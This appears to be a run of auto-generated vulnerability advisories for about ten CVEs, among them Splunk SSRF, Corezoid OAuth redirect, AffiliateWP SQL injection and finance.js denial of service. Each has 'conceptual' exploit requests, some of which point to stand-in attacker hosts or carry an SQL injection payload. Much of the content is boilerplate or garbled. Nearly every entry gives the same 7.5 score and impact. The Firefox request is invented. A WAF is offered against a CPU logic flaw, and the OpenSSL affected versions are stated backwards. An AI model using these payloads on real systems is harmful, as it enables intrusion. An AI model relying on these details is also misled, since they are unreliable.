Author: Ameeba

Overview

The vulnerability CVE-2025-20371, found in several versions of Splunk Enterprise and Splunk Cloud Platform, allows an unauthenticated attacker to potentially perform REST API calls on behalf of an authenticated high-privileged user. This flaw is significant due to its potential to compromise systems or leak sensitive data, emphasizing the importance of immediate mitigation and patching measures.

Vulnerability Summary

CVE ID: CVE-2025-20371
Severity: High (7.5 CVSS score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Splunk Enterprise | < 10.0.1, 9.4.4, 9.3.6, 9.2.8 Splunk Cloud Platform | < 9.3.2411.109, 9.3.2408.119, 9.2.2406.122 How the Exploit Works

In affected versions of Splunk Enterprise and Splunk Cloud Platform, an unauthenticated attacker can trigger a blind server-side request forgery (SSRF). This exploit is possible due to insufficient input control in the handling of API requests. The attacker can manipulate the API request to perform actions on behalf of an authenticated high-privileged user, potentially leading to unauthorized access, data leakage, or system compromise.

Conceptual Example Code

The following conceptual HTTP request demonstrates how the vulnerability might be exploited:

GET /api/v1/admin/endpoint?callback=http://attacker.com HTTP/1.1
Host: target.splunk.com

In this example, the attacker manipulates the `callback` parameter in the API request to redirect the server response to their own server, potentially revealing sensitive information.

Overview

The cybersecurity vulnerability identified as CVE-2025-24525 involves hardcoded cryptographic material in Keysight Ixia Vision. This vulnerability specifically affects users of this device who have not replaced the TLS certificate that shipped with the device. The implications are significant, with potential for system compromise or data leakage if payloads sent via API calls or user authentication are intercepted or decrypted by an attacker.

Vulnerability Summary

CVE ID: CVE-2025-24525
Severity: High (7.5 CVSS score)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: System compromise or data leakage

Affected Products

Product | Affected Versions

Keysight Ixia Vision | Versions prior to 6.9.1

How the Exploit Works

The exploit takes advantage of hardcoded cryptographic material in the Keysight Ixia Vision. An attacker can intercept or decrypt payloads sent to the device via API calls or user authentication, leading to potential system compromise or data leakage. This attack is only possible if the end user has not replaced the original TLS certificate that was shipped with the device.

Conceptual Example Code

While an exact exploit code is beyond the scope of this report, a conceptual example could involve an attacker capturing network traffic and using the hardcoded cryptographic material to decrypt the data. Below is a basic, conceptual example of a potential HTTP request interception:

GET /api/data HTTP/1.1
Host: vulnerable.device.com
Authorization: Basic QWxhZGRpbjpPcGVuU2VzYW1l
{ "sensitive_payload": "..." }

In this example, an attacker could intercept the “sensitive_payload” and decrypt it using the hardcoded cryptographic material.

Mitigation Guidance

Users are advised to apply the vendor patch available in version 6.9.1, which was released on September 23, 2025. As a temporary mitigation, users may also use a Web Application Firewall (WAF) or Intrusion Detection System (IDS).

Overview

The vulnerability, identified as CVE-2024-55017, is a serious security flaw that affects Corezoid 6.6.0 through an improper OAuth2 implementation. Attackers can exploit this vulnerability to gain unauthorized access and potentially take over victim accounts. This vulnerability is of significant concern since it can lead to unauthorized system access, potential system compromise, and data leakage.

Vulnerability Summary

CVE ID: CVE-2024-55017
Severity: High (CVSS: 7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: Required
Impact: Account takeover, unauthorized system access, potential system compromise, and data leakage

Affected Products

Product | Affected Versions

Corezoid | 6.6.0

How the Exploit Works

The vulnerability resides in the OAuth2 implementation of Corezoid 6.6.0. Specifically, it involves an open redirect in the redirect_uri parameter. This open redirect allows an attacker to intercept authorization codes by redirecting the victim to a malicious site controlled by the attacker. Once the attacker has the authorization codes, they can gain unauthorized access to the victim’s account.

Conceptual Example Code

Consider the following conceptual HTTP request:

GET /authorize?response_type=code&client_id=CLIENT_ID&redirect_uri=https://malicious.example.com&state=STATE HTTP/1.1
Host: vulnerable.example.com

In this example, the attacker has manipulated the redirect_uri parameter to point to a site they control (malicious.example.com). When the victim clicks on this manipulated link, they are redirected to the attacker’s site, where the authorization code is intercepted.

Mitigation Guidance

Users of Corezoid 6.6.0 are advised to apply the vendor patch immediately to mitigate the vulnerability. If a patch is not immediately available, users can use a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as temporary mitigation. These systems can detect and block malicious activity related to this vulnerability.

Overview

This report entails a critical vulnerability identified as CVE-2025-56572. The vulnerability is in the finance.js library version 4.1.0 which is commonly used in financial calculations within web applications. This vulnerability could be exploited by remote attackers to cause a denial of service, potentially leading to system compromise or data leakage. Given the widespread use of this JavaScript library, the impact could be substantial.

Vulnerability Summary

CVE ID: CVE-2025-56572
Severity: High (CVSS:7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

finance.js | v4.1.0

How the Exploit Works

The vulnerability resides in the seekZero() function of the finance.js library. An attacker can send a specially crafted request to this function, causing it to enter an infinite loop and effectively creating a denial of service. This can consume system resources and potentially lead to a system crash or slow down, making it susceptible to further attacks.

Conceptual Example Code

The following is a
conceptual
example of how the vulnerability might be exploited. This is a JavaScript function call which sends an abnormal input to the seekZero() function.

var finance = require('finance.js');
finance.seekZero({"malicious_payload": "..."});

Mitigation Guidance

Users of finance.js v4.1.0 are advised to apply the vendor patch as soon as it is available. As a temporary mitigation, users can employ a Web Application Firewall (WAF) or Intrusion Detection System (IDS) to block or alert on abnormal traffic patterns. However, these measures may not completely eliminate the risk, and patching is highly recommended.

Overview

This report aims to cover a significant cybersecurity vulnerability, CVE-2025-56571, that affects Finance.js v4.1.0. This vulnerability is of critical concern due to its potential to cause a Denial of Service (DoS) attack through the IRR function’s depth parameter. Such an attack can result in application stalls, crashes, and, worst of all, the potential for system compromise or data leakage.

Vulnerability Summary

CVE ID: CVE-2025-56571
Severity: High (7.5 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Successful exploitation can lead to system compromise, data leakage, and denial of service via excessive CPU usage.

Affected Products

Product | Affected Versions

Finance.js | v4.1.0

How the Exploit Works

This exploit works by abusing the IRR function’s depth parameter in Finance.js v4.1.0. The improper handling of the recursion/iteration limit can be manipulated to cause excessive CPU usage. This overuse of resources can then lead to application stalls or crashes, effectively rendering the service unavailable, hence causing a Denial of Service (DoS). More worryingly, it could potentially lead to system compromise or data leakage.

Conceptual Example Code

A potential exploit might involve sending a manipulated payload with an excessively deep iteration request to the IRR function. This could look something like this conceptually:

POST /IRR/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "depth": 1000000000 }

In this example, an attacker could send an HTTP POST request with a payload containing an abnormally high value for the depth parameter, causing the server to consume excessive CPU resources trying to process it.

Mitigation Guidance

The primary mitigation strategy for this vulnerability is applying the vendor-provided patch. It is recommended to update Finance.js to the latest version where this vulnerability has been addressed. In the interim, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can help provide temporary mitigation against potential attacks exploiting this vulnerability.

Overview

The vulnerability identified as CVE-2025-56301 is a critical issue discovered in the Chipsalliance Rocket-Chip. The flaw allows bad actors to corrupt exception handling and privilege state transitions. This vulnerability poses a significant threat to any system running affected versions of the Rocket-Chip, potentially leading to system compromise or data leakage.

Vulnerability Summary

CVE ID: CVE-2025-56301
Severity: High (CVSS: 7.5)
Attack Vector: Local
Privileges Required: Low
User Interaction: None
Impact: System compromise or data leakage

Affected Products

Product | Affected Versions

Chipsalliance Rocket-Chip | Versions prior to commit f517abbf41abb65cea37421d3559f9739efd00a9 (2025-01-29)

How the Exploit Works

The vulnerability arises from a flawed interaction between exception handling and exception return (MRET) mechanisms in the Control and Status Register (CSR) logic. When an MRET instruction is executed in machine mode without being in an exception state, an Instruction Access Fault may be triggered. This results in both the exception handling logic and the exception return logic activating simultaneously, leading to conflicting updates to the control and status registers. Consequently, this flaw can be exploited by an attacker to corrupt exception handling and privilege state transitions.

Conceptual Example Code

The following pseudocode demonstrates how the vulnerability could be exploited:

// Enter machine mode without being in an exception state
enterMachineMode();
// Execute MRET instruction
executeMRET();
// The above triggers an Instruction Access Fault, activating both
// the exception handling logic and the exception return logic simultaneously

The above steps result in conflicting updates to the control and status registers, thereby corrupting exception handling and privilege state transitions. An attacker could potentially utilize this flaw to compromise the system or leak data.

Mitigation

Users are advised to apply the vendor patch immediately once available. In the meantime, the use of a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as temporary mitigation.

Overview

The vulnerability, identified as CVE-2025-9230, is an out-of-bounds read and write issue occurring in the process of decrypting CMS messages encrypted using password-based encryption. Despite its moderate severity rating, a successful exploitation can lead to severe consequences such as system compromise, data leakage, or execution of attacker-supplied code. Systems using FIPS modules 3.0 to 3.5 are immune to this vulnerability as their CMS implementation is beyond the OpenSSL FIPS module’s boundary.

Vulnerability Summary

CVE ID: CVE-2025-9230
Severity: Moderate (CVSS: 7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Denial of Service, Memory Corruption, Execution of Attacker-Supplied Code

Affected Products

Product | Affected Versions

OpenSSL | All versions except 3.0 to 3.5

How the Exploit Works

An attacker who successfully exploits this vulnerability can trigger an out-of-bounds read and write operation during the decryption of CMS messages encrypted with password-based encryption. The out-of-bounds read may instigate an application crash, thus resulting in a Denial of Service, whereas the out-of-bounds write can lead to memory corruption. This memory corruption could potentially allow the execution of code supplied by the attacker.

Conceptual Example Code

Although there is no specific example code for this exploit, a theoretical exploitation scenario would involve the attacker sending a maliciously crafted CMS message encrypted with password-based encryption to the target system. The decryption process of this message by the target system would trigger the out-of-bounds read and write vulnerability. The code below is a conceptual representation of this scenario:

openssl cms -decrypt -in malicious_cms_message.cms -out decrypted_message.txt -password attacker_supplied_password

In this case, ‘malicious_cms_message.cms’ would be a CMS message crafted by the attacker to exploit the vulnerability. The decryption process would then potentially trigger the out-of-bounds read and write operations, leading to the possible consequences outlined above.

Overview

This report examines the cybersecurity vulnerability CVE-2025-11153, which significantly affects Firefox versions below 143.0.3. This vulnerability, given its high severity, could lead to system compromise or potential data leakage, making it a significant concern for all users and administrators of affected Firefox versions.

Vulnerability Summary

CVE ID: CVE-2025-11153
Severity: High – CVSS Score 7.5
Attack Vector: Network
Privileges Required: None
User Interaction: Required
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Firefox | < 143.0.3 How the Exploit Works

While the exact specifics of this vulnerability are not given, similar vulnerabilities often involve the manipulation of certain browser capabilities or functionalities to execute malicious code. Attackers could craft a malicious website or link, and when accessed by a user using a vulnerable version of Firefox, the malicious code is executed. This can potentially lead to unauthorized system access or data leakage.

Conceptual Example Code

GET /malicious/website HTTP/1.1
Host: attacker.example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0
{ "malicious_code": "..." }

In this conceptual example, an attacker tricks a user into visiting a malicious website (‘attacker.example.com’). The malicious payload (‘malicious_code’) is then executed due to the vulnerability in the user’s Firefox browser (version 142.0 in this example), potentially compromising the system or leaking sensitive data.

Mitigation Guidance

It is recommended to apply the vendor patch immediately to mitigate this vulnerability. For users who cannot immediately update to a patched version of Firefox, employing a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary mitigation strategy. However, these measures should not be considered a long-term solution, and the vendor patch should be applied as soon as possible to ensure maximum protection.

Overview

This report covers a severe SQL Injection vulnerability found in the AffiliateWP plugin for WordPress applications, identified as CVE-2025-8877. The flaw can allow unauthenticated attackers to manipulate SQL queries and extract sensitive information from the database. Given the widespread use of the WordPress platform and the AffiliateWP plugin, this vulnerability can have significant impact on a large number of websites.

Vulnerability Summary

CVE ID: CVE-2025-8877
Severity: High (CVSS: 7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise and potential data leakage

Affected Products

Product | Affected Versions

AffiliateWP WordPress Plugin | Up to and including 2.28.2

How the Exploit Works

The vulnerability lies in the ‘ajax_get_affiliate_id_from_login’ function of the AffiliateWP plugin. The function does not properly escape user input, and thus fails to prevent the injection of malicious SQL code. This allows unauthenticated attackers to append additional SQL queries into already existing queries and extract sensitive information from the database.

Conceptual Example Code

Below is a conceptual example of how the vulnerability might be exploited. This example represents a malicious HTTP request targeting the vulnerable function:

POST /wp-admin/admin-ajax.php?action=affwp_get_affiliate_id_from_login HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
login=' OR '1'='1'; --

In this request, the attacker posts a payload to the ‘affwp_get_affiliate_id_from_login’ action which is vulnerable to SQL injection. The payload `OR ‘1’=’1’` is a classic SQL injection technique that can allow the attacker to bypass authentication or extract information from the database.

Mitigation

To mitigate this vulnerability, it is recommended to apply the patch provided by the vendor as soon as possible. If an immediate patching is not possible, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation. Always ensure to adopt the principle of least privilege and validate and sanitize all user inputs to minimize the attack surface.

Overview

CVE-2025-11149 is a critical vulnerability affecting all versions of the package node-static and @nubosoftware/node-static. This flaw is due to the package’s failure to catch exceptions when the user input includes null bytes. This weakness allows attackers to crash servers, which could potentially compromise systems or lead to data leakage.

Vulnerability Summary

CVE ID: CVE-2025-11149
Severity: High (CVSS: 7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System crash. Potential system compromise or data leakage.

Affected Products

Product | Affected Versions

node-static | All versions
@nubosoftware/node-static | All versions

How the Exploit Works

The exploit works by making use of a failure in the node-static and @nubosoftware/node-static packages to catch exceptions when user input includes null bytes. An attacker can send a request to http://host/%00, which the server fails to handle appropriately, resulting in a server crash.

Conceptual Example Code

Below is a conceptual example of how this vulnerability might be exploited. This example is an HTTP request that includes null bytes (%00), which leads to a server crash:

GET /%00 HTTP/1.1
Host: vulnerable-host.example.com

Mitigation and Recommendations

The recommended mitigation for this vulnerability is to apply the vendor patch as soon as it’s available. In the interim, using Web Application Firewalls (WAF) or Intrusion Detection Systems (IDS) can provide temporary mitigation. Regularly updating and patching software is key to ensuring the security of systems. Additionally, it is good practice to handle exceptions properly and sanitize user inputs to avoid similar vulnerabilities.